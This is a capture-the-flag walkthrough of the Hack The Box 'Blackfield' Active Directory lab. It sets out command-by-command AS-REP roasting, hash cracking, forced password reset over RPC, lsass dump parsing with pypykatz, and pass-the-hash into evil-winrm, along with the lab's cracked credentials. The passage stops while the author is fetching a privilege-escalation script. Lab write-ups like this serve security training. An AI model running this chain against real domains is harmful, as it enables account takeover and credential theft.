---
# System prepended metadata

title: Blackfield AD

---

> [!caution]
>  **Pro-Tip**: Always lookup the write-ups when you have fully tried everything and exhausted your knowledge. Basically, ensure whenever you lookup the write-ups you learn something new, not something like ‘Oh shit, i knew that, i should have tried that’ , you should be like ‘Oh thats new, great to learn this new skill, lets add it up in my arsenal of skills’.- this will eventually build up your skills and you’ll learn many new ones.**

> IP address - 10.10.10.192

>> Nmap scan with minrate-1000 to see quick open port

**nmap -p- --min-rate 10000 -Pn -oA nmap-alltcp 10.10.10.192**

Performing an intense port scan against the open ports we found


```sh
┌──(kali㉿kali)-[~/HTB]
└─$ nmap -sV -Pn 10.10.10.192                               
Starting Nmap 7.92 ( https://nmap.org ) at 2024-01-02 02:39 EST
Nmap scan report for 10.10.10.192
Host is up (0.20s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-02 15:40:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.53 seconds

```


### DNS - TCP/UDP 53

```sh
┌──(kali㉿kali)-[~/HTB]
└─$ dig @10.10.10.192 blackfield.local

; <<>> DiG 9.17.19-3-Debian <<>> @10.10.10.192 blackfield.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18455
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;blackfield.local.              IN      A

;; ANSWER SECTION:
blackfield.local.       600     IN      A       10.10.10.192

;; Query time: 196 msec
;; SERVER: 10.10.10.192#53(10.10.10.192) (UDP)
;; WHEN: Tue Jan 02 02:48:55 EST 2024
;; MSG SIZE  rcvd: 61

```

> The zone transfer would list all the known subdomains if it's available.

### LDAP - TCP 389 / 3268

> First, let’s see if we can do an anonymous bind on the LDAP port using ldapsearch

```sh
┌──(kali㉿kali)-[~/HTB]
└─$ ldapsearch -x -b "dc=blackfield,dc=local" -H ldap://10.10.10.192
# extended LDIF
#
# LDAPv3
# base <dc=blackfield,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

```
> It did not work, or yeah we see a no.

> Let's still check what other information I can pull from ldap [like subdomains]

```sh
┌──(kali㉿kali)-[~/tools/impacket-master/examples]
└─$ ldapsearch -h 10.10.10.192 -x -b "DC=BLACKFIELD,DC=local"
# extended LDIF
#
# LDAPv3
# base <DC=BLACKFIELD,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

```

> omoo, make i just try some possible wins, i no sabi which one go drop, but we keep bombing.... :zap:

> checking to enumerate any AS-REP roastable users that have pre-authentication disabled

```sh
┌──(kali㉿kali)-[~/tools/impacket-master/examples]
└─$ python3 GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192
Impacket v0.11.0 - Copyright 2023 Fortra

[-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
```

> Testing for NULL access with **rpcclient** and **smbclient**

> with rpcclient i was able to login same as smbclient
; hey chill a bit, make i structure am so we fit understand when next we dey read am. No vex my boss :bow: 

### SMB - TCP 445

> Using crackmapexec our go to tool when it comes to cheking what OS is running, since it wasn't revealsed to us before

```sh
┌──(kali㉿kali)-[~/tools/impacket-master/examples]
└─$ crackmapexec smb 10.10.10.192                                            

SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
```

#### Null Connection

> With no creds, we check to see what we can find, rememeber we tried this to checkfor the quick wins then.. 

> **RPCCLIENT**

```sh
┌──(kali㉿kali)-[~/tools/impacket-master/examples]
└─$ rpcclient 10.10.10.192 -U ""
Enter WORKGROUP\'s password: 
rpcclient $> srvinfo
        10.10.10.192   Wk Sv PDC Tim NT     
        platform_id     :       500
        os version      :       10.0
        server type     :       0x80102b
rpcclient $> querydominfo
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroup
command not found: enumdomgroup
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
```

> This worked, but we are limited to what we can query, lmao next up is
> checking smbclient 

> Now for smblient, there are different ways to perform a NULL connection

```sh
┌──(kali㉿kali)-[~/HTB]
└─$ smbclient -L 10.10.10.192 -U ""
Enter WORKGROUP\'s password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        profiles$       Disk      
        SYSVOL          Disk      Logon server share 


OR

┌──(kali㉿kali)-[~/HTB]
└─$ smbclient -N -L \\\\10.10.10.192                                                                  

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        profiles$       Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.


Using smbmap

┌──(kali㉿kali)-[~/HTB]
└─$ smbmap -H 10.10.10.192 -u null 
[+] Guest session       IP: 10.10.10.192:445    Name: 10.10.10.192                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                NO ACCESS       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share 
        profiles$                                               READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share 
```

> From this we have READ access to profiles$ seems to be a list of users share 

> connecting to the share 

```sh
┌──(kali㉿kali)-[~/HTB]
└─$ smbclient -N //10.10.10.192/profiles$
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun  3 12:47:12 2020
  ..                                  D        0  Wed Jun  3 12:47:12 2020
  AAlleni                             D        0  Wed Jun  3 12:47:11 2020
  ABarteski                           D        0  Wed Jun  3 12:47:11 2020
  ABekesz                             D        0  Wed Jun  3 12:47:11 2020
  ABenzies                            D        0  Wed Jun  3 12:47:11 2020
  ABiemiller                          D        0  Wed Jun  3 12:47:11 2020
  AChampken                           D        0  Wed Jun  3 12:47:11 2020
  ACheretei                           D        0  Wed Jun  3 12:47:11 2020
  ACsonaki                            D        0  Wed Jun  3 12:47:11 2020
  AHigchens                           D        0  Wed Jun  3 12:47:11 2020
  AJaquemai                           D        0  Wed Jun  3 12:47:11 2020
  AKlado                              D        0  Wed Jun  3 12:47:11 2020
  AKoffenburger                       D        0  Wed Jun  3 12:47:11 2020
  AKollolli                           D        0  Wed Jun  3 12:47:11 2020
  AKruppe                             D        0  Wed Jun  3 12:47:11 2020
  AKubale                             D        0  Wed Jun  3 12:47:11 2020
  ALamerz                             D        0  Wed Jun  3 12:47:11 2020
 ...[snip]...
```

> a lot of directory with nothing inside... are you kidding me; mad oo.. but wait oo, they look like users on the DC. omo, make we create list, life no suppose hard.  quick and dirty regex to dump the usernames to a file. You can use chatGPT oo,  no allow overthinking injure you :smile: i just learnt about it doign this lab though, so no worry 

```
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ smbclient -N \\\\10.10.10.192\\profiles$ -c dir | sed \$d | grep -oE '([a-zA-Z0-9]{5,})' > blackfield.txt
```

> it worked, i found  a blog where we can mount the share share on my local box NB: (just hit enter when prompted for a password): you must be root on your local machine to perform this

```sh
┌──(root💀kali)-[/home/kali/HTB/blackfield]
└─# mount -t cifs //10.10.10.192/profiles$ /mnt
Password for root@//10.10.10.192/profiles$: 

# Going to the /mnt directory we see that our share in temporary mounted there and we can file the dorecotries, even though they are empty yh, 
we can then use that to create our users wordlist.

mv users users.old; ls -1 /mnt/ > users
```

> with our wordlist generated, next up is to stay on the safe side for now and try an ASREPRoast attack. just like the forest lab in HTB

## Access as support

### AS-REP Roast -- using impacket-GetNPUsers

> As a reminder, **AS-REP roasting** is a technique that **allows retrieving password hashes for users** that have the** Do not require Kerberos preauthentication property selected**. It means that we can recover a hash which can be cracked offline. One of the best tools for the job would be **impacket-GetNPUsers**, which should already be installed on Kali.

> Two ways to perfrom this.

```sh
# with the username wordlist we got from the shares, we can use that to perform the attack. 

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ impacket-GetNPUsers blackfield.local/ -usersfile blackfield.txt -dc-ip 10.10.10.192               

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set

...[snip]...

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$support@BLACKFIELD.LOCAL:bd69446f63043a4930313aeba01d6255$3f6c2713f18b4a87e0d13a53f9dfac46b44e5cb8cfe489704ff34be2d1f7efa56afb1843830ace9a12a69f1380578045a407a6bccf7a22f40c4c1807a4f83bd74be4d09ba7aeddf3b327585bb383cbf8ef68ee58362813a526d89109fccc993ee0292b7723e74dbc879e1a2ea3da008866b408166676b6f0953b56c94d48d615b0b79c4f1385dd608ca4e9385360af97940d29d356441bf6c4836854c90a44854e2ef11558b20d2c899cb52bb188c7973df6cae91ac567bc2f5627ac0ad350997becbca8b0918d32ed0d3014a4e6ae1d742ccd8b4df5b3fac87aefd65eb8d07738b0f9d11f3f8f88c6c42859381ee8e8a355b4ce

# OR we can use a oneliner to perform this attack.





```

> Nice, we do have a hash for the support user. If the user is using a weak password, we may be able to recover it.

### Crack Hash

```sh
Now, we just have to copy/paste the recovered hash in a file and try to crack it offline using the rockyou password list

# There are two ways to perform this, using john or hashcat

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ john hash.txt -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^BlackKnight  ($krb5asrep$23$support@BLACKFIELD.LOCAL)  --password here :XD   
1g 0:00:02:34 DONE (2024-01-02 04:36) 0.006481g/s 92915p/s 92915c/s 92915C/s #13Carlyn..#*burberry#*1990
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

or


```

> Creds: support / **#00^BlackKnight**

### Access Check

> With these creds, I’ll see what kind of access I just acquired. omo, support does not have WinRM access: i'm hungry now..


```sh
-- checking for winrm 

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight'                                 

WINRM       10.10.10.192    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
WINRM       10.10.10.192    5985   DC01             [*] http://10.10.10.192:5985/wsman
WINRM       10.10.10.192    5985   DC01             [-] BLACKFIELD.local\support:#00^BlackKnight

-- didn't work for winrm

;then checking for smb, it worked

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ crackmapexec smb 10.10.10.192 -u support -p '#00^BlackKnight'

SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight 
```

> checking the file shares on smb using the creds found.


```sh

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ crackmapexec smb 10.10.10.192 -u support -p '#00^BlackKnight' --shares

SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight 
SMB         10.10.10.192    445    DC01             [+] Enumerated shares
SMB         10.10.10.192    445    DC01             Share           Permissions     Remark
SMB         10.10.10.192    445    DC01             -----           -----------     ------
SMB         10.10.10.192    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.10.192    445    DC01             C$                              Default share
SMB         10.10.10.192    445    DC01             forensic                        Forensic / Audit share.                                                                                                         
SMB         10.10.10.192    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.10.192    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.10.192    445    DC01             profiles$       READ            
SMB         10.10.10.192    445    DC01             SYSVOL          READ            Logon server share 
```

>We don't have READ permission to the oter shares aside from the other ones we could see before, nothing new
> checking it we can login using smbmap

```sh
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ smbmap -H 10.10.10.192 -u support -p '#00^BlackKnight'
[+] IP: 10.10.10.192:445        Name: 10.10.10.192                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                NO ACCESS       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        profiles$                                               READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share 

```

>The credentials are valid, but we still don’t have any remote shell on the machine. Let’s see if we can get some information about the domain using BloodHound.

## Access as audit2020

Enumeration Failed me

### SMB
I connected to each of the three shares:

* profiles$ --  all empty.
* NETLOGON -- empty.
* SYSVOL -- lmao, none of them provided anything useful to me.

#### Kerberoasting -- using impacket-GetUserSPNs

Now that I have valid domain creds, I tried to Kerberoast, but no tickets came back :crying_cat_face: :crying_cat_face: 

```sh
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ impacket-GetUserSPNs -request -dc-ip 10.10.10.192 'blackfield.local/support:#00^BlackKnight'
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!
```
### Active Directory Recon using Bloodhound

> Since we have a valid account now, we can now use the BloodHound ingestors and gather more information about the Active Directory. you can download or should i say install **python -m pip install bloodhound**

The parameters for **bloodhound-python** took a bit of playing with:


* -c ALL - All collection methods
* -u support -p #00^BlackKnight - Username and password to auth as
* -d blackfield.local - domain name
* -dc dc01.blackfield.local - DC name (it won’t let you use an IP here)
* -ns 10.10.10.192 - use 10.10.10.192 as the DNS server

```sh
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192
INFO: Found AD domain: blackfield.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (blackfield.local:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 316 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.BLACKFIELD.local
INFO: Done in 01M 15S

# or saving it as a zip

$ bloodhound-python -c All -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192 --zip 
```

### Analysis

* sudo bloodhound
* sudo neo4j console

I loaded all the files into Bloodhound. with the cred
Once ont he bloodhound dashboard, I uploaded the zip file into the UI

![image](https://hackmd.io/_uploads/BJvhOobOa.png)

> once uploaded, we can utilize the pre built queries under the analysis tab to find information about the domain

![image](https://hackmd.io/_uploads/HkvwtoZOa.png)

> The most notable query that deserves mention :rolling_on_the_floor_laughing: is the **"Shortest Path to Highh Value Targets"** query *yesss, the oga boss, the king, the lion itself*, which dumped a lot of information

![image](https://hackmd.io/_uploads/ryUQcoWO6.png)

> This shows us information about the svc_backup account, which we aleady enumerated (groups); however, we do not see anything interesting for our current user 'support'.

> checking the net query, that is the "Find AS-REP Roastable Users" we then see the 'support' account, then click on the 'suppport' account to extract information about the node

![image](https://hackmd.io/_uploads/rJmHoo-_T.png)

> checking the node info tab it reveals rights / privileges that our current user has.
> 
> checking the **'Under Outbound Control Rights > First Degree Object Control'**, I found that the current user has one particularly interesting priv. The 'support' acount has the ability to change the password of the audit2020 account.

![image](https://hackmd.io/_uploads/ryjC3jbup.png)


> we can go to the '? Help' page, to check the abue tab, it provides us qith a powerview command that can be used to abuse this priv.
But we can't get foothold, lmao, we need to do it remotely

### Changing the 'audit2020' Account's Password

### Password Reset over RPC

> There’s a somewhat famous post by Mubix about resetting Windows passwords over RPC. https://room362.com/post/2017/reset-ad-user-password-with-linux/ or https://thehacker.recipes/ad/movement/dacl/forcechangespassword I’ll use the command setuserinfo2:

* rpcclient 10.10.10.192 -U "support"
* setuserinfo2 audit2020 23 Password123

```s
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ rpcclient 10.10.10.192 -U "support"                               

Enter WORKGROUP\support's password: 
rpcclient $> setuserinfo2
Usage: setuserinfo2 username level password [password_expired]
result was NT_STATUS_INVALID_PARAMETER
rpcclient $> setuserinfo2 audit2020 23 Password123
rpcclient $> exit

```

> We can also check the password policy first before changing it so we know that we met the requirement. that is minimum length of 7

#### A quick one using enum4linux-ng

```sh
┌──(kali㉿kali)-[~/tools/enum4linux-ng]
└─$ python3 enum4linux-ng.py -u support -p '#00^BlackKnight' 10.10.10.192

 =========================================
|    Policies via RPC for 10.10.10.192    |
 =========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:                                                                              
  Password history length: 24                                                                             
  Minimum password length: 7                                                                              
  Maximum password age: 41 days 23 hours 53 minutes                                                       
  Password properties:                                                                                    
  - DOMAIN_PASSWORD_COMPLEX: true                                                                         
  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false                                                                 
  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false                                                                
  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false                                                                 
  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false                                                       
  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false                                                         
Domain lockout information:                                                                               
  Lockout observation window: 30 minutes                                                                  
  Lockout duration: 30 minutes                                                                            
  Lockout threshold: None                                                                                 
Domain logoff information:                                                                                
  Force logoff time: not set                                                                              
```

> Now that the password for the user 'audit2020' has been changed we need to test ou access with the user.

> using crackmapexec to see if the password has successfully changed.

### Check Creds

```sh
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ crackmapexec smb 10.10.10.192 -u audit2020 -p Password123
SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\audit2020:Password123 

# This proves that the credentials worked
# failed with winrm
```

### Priv Escalation : Audit2020 >> svc_backup

> Enumerating the shres with the 'audit2020' account

```sh

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ smbmap -H 10.10.10.192 -u audit2020 -p Password123
[+] IP: 10.10.10.192:445        Name: 10.10.10.192                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                READ ONLY       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        profiles$                                               READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share 

# we get READ permission on the forensic share
```

> Connecting to forensic, there are three folders:

```sh

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ smbclient -U audit2020 //10.10.10.192/forensic Password123
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Feb 23 08:03:16 2020
  ..                                  D        0  Sun Feb 23 08:03:16 2020
  commands_output                     D        0  Sun Feb 23 13:14:37 2020
  memory_analysis                     D        0  Thu May 28 16:28:33 2020
  tools                               D        0  Sun Feb 23 08:39:08 2020

                5102079 blocks of size 4096. 1672162 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> ls 
  .                                   D        0  Sun Feb 23 08:03:16 2020
  ..                                  D        0  Sun Feb 23 08:03:16 2020
  commands_output                     D        0  Sun Feb 23 13:14:37 2020
  memory_analysis                     D        0  Thu May 28 16:28:33 2020
  tools                               D        0  Sun Feb 23 08:39:08 2020

\commands_output
  .                                   D        0  Sun Feb 23 13:14:37 2020
  ..                                  D        0  Sun Feb 23 13:14:37 2020
  domain_admins.txt                   A      528  Sun Feb 23 08:00:19 2020
  domain_groups.txt                   A      962  Sun Feb 23 07:51:52 2020
  domain_users.txt                    A    16454  Fri Feb 28 17:32:17 2020
  firewall_rules.txt                  A   518202  Sun Feb 23 07:53:58 2020
  ipconfig.txt                        A     1782  Sun Feb 23 07:50:28 2020
  netstat.txt                         A     3842  Sun Feb 23 07:51:01 2020
  route.txt                           A     3976  Sun Feb 23 07:53:01 2020
  systeminfo.txt                      A     4550  Sun Feb 23 07:56:59 2020
  tasklist.txt                        A     9990  Sun Feb 23 07:54:29 2020

\memory_analysis
  .                                   D        0  Thu May 28 16:28:33 2020
  ..                                  D        0  Thu May 28 16:28:33 2020
  conhost.zip                         A 37876530  Thu May 28 16:25:36 2020
  ctfmon.zip                          A 24962333  Thu May 28 16:25:45 2020
  dfsrs.zip                           A 23993305  Thu May 28 16:25:54 2020
  dllhost.zip                         A 18366396  Thu May 28 16:26:04 2020
  ismserv.zip                         A  8810157  Thu May 28 16:26:13 2020
  lsass.zip                           A 41936098  Thu May 28 16:25:08 2020
  mmc.zip                             A 64288607  Thu May 28 16:25:25 2020
  RuntimeBroker.zip                   A 13332174  Thu May 28 16:26:24 2020
  ServerManager.zip                   A 131983313  Thu May 28 16:26:49 2020
  sihost.zip                          A 33141744  Thu May 28 16:27:00 2020
  smartscreen.zip                     A 33756344  Thu May 28 16:27:11 2020
  svchost.zip                         A 14408833  Thu May 28 16:27:19 2020
  taskhostw.zip                       A 34631412  Thu May 28 16:27:30 2020
  winlogon.zip                        A 14255089  Thu May 28 16:27:38 2020
  wlms.zip                            A  4067425  Thu May 28 16:27:44 2020
  WmiPrvSE.zip                        A 18303252  Thu May 28 16:27:53 2020

...[snip]...

```

> the file that stood out after enumeration is the lsass.zip file.

### LSASS Dump

```sh
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ unzip lsass.zip 
Archive:  lsass.zip
  inflating: lsass.DMP 
  
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ file lsass.DMP 
lsass.DMP: Mini DuMP crash report, 16 streams, Sun Feb 23 18:02:01 2020, 0x421826 type

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ ls -lh lsass.DMP 
-rwxrwx--- 1 root vboxsf 137M Feb 23 11:02 lsass.DMP

```

> Using pypykatz https://github.com/skelsec/pypykatz, a mimikatz implementation in Python, we can try to read the content of lsass.DMP and maybe grab some passwords or hashes. 

>  I’ll install it with **pip3 install pypykatz**. https://en.hackndo.com/remote-lsass-dump-passwords/#linux--windows has a good section on dumping with pypykatz from Linux. It dumps a bunch of information:

```sh

┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ pypykatz lsa minidump lsass.DMP
INFO:root:Parsing file lsass.DMP                          
FILE: ======== lsass.DMP =======                          
== LogonSession ==
authentication_id 406458 (633ba)                    
session_id 2
username svc_backup                        
domainname BLACKFIELD                               
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413  
luid 406458
        == MSV ==                          
                Username: svc_backup                      
                Domain: BLACKFIELD   
                LM: NA                              
                NT: 9658d1d1dcd9250115e2205d9f48400d
                SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
        == WDIGEST [633ba]==                              
                username svc_backup
                domainname BLACKFIELD
                password None                             
        == SSP [633ba]==             
                username                   
                domainname
                password None
        == Kerberos ==
                Username: svc_backup                      
                Domain: BLACKFIELD.LOCAL   
                Password: None                            
        == WDIGEST [633ba]==                              
                username svc_backup
                domainname BLACKFIELD
                password None
                                                          
== LogonSession ==                                  
authentication_id 365835 (5950b)
session_id 2
username UMFD-2
domainname Font Driver Host
logon_server                                        
logon_time 2020-02-23T17:59:38.218491+00:00                                                                                                                                                                                                
sid S-1-5-96-0-2
...[snip]...

```

> We have an NTLM hash for svc_backup. Using the recovered hash and crackmapexec we could perform a Pass-the-Hash attack and try to authenticate as svc_backup.

>Ok here is it, yh Pass the hash (or PTH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

> since the svc_backup account is in the Remote management user's group, it has the ability to use Winrm to remote into the DC


```sh
┌──(kali㉿kali)-[~/HTB/blackfield/memory_analysis]
└─$ crackmapexec winrm 10.10.10.192 -d blackfield.local -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

WINRM       10.10.10.192    5985   10.10.10.192     [*] http://10.10.10.192:5985/wsman
WINRM       10.10.10.192    5985   10.10.10.192     [+] blackfield.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d (Pwn3d!)

```

> Evil-WinRM provides a shell:

```sh
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                             
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                               
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents> cd ..
*Evil-WinRM* PS C:\Users\svc_backup> cd Desktop
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt

3920bb317a0bef51027e2852be6****

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> 

```

### Priv: svc_backup –> administrator

#### Enumeration

```sh
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> 

```

> We do have the SeBackupPrivilege privilege.

> checking the group of the svc_backup

```sh
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> net user svc_backup
User name                    svc_backup
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/23/2020 9:54:48 AM
Password expires             Never
Password changeable          2/24/2020 9:54:48 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   2/23/2020 10:03:50 AM

Logon hours allowed          All

Local Group Memberships      *Backup Operators     *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

```

> I see that the user is part of the ***Backup Operators**

#### Abusing
> The SeBackupPrivilege privilege https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/ is really interesting. It was designed for allowing users to create backup copies of the system. Since it is not possible to make a backup of something that you cannot read. This privilege comes at the cost of providing the user with full read access to the file system.

>In a nutshell, it causes the system to grant all read access control to any file (read only). So, we could read the root.txt by abusing this token.

>Using a tool called Acl-FullControl.ps1, https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1 we were able to change the access rights of the svc_backup and allow him to read the administrator folder.

> setting it up and dowloading it on our remote attack

> ***Attacker machine***

```sh
┌──(kali㉿kali)-[~/HTB/blackfield]
└─$ wget https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Acl-FullControl.ps1
--2024-01-02 13:47:23--  https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Acl-FullControl.ps1
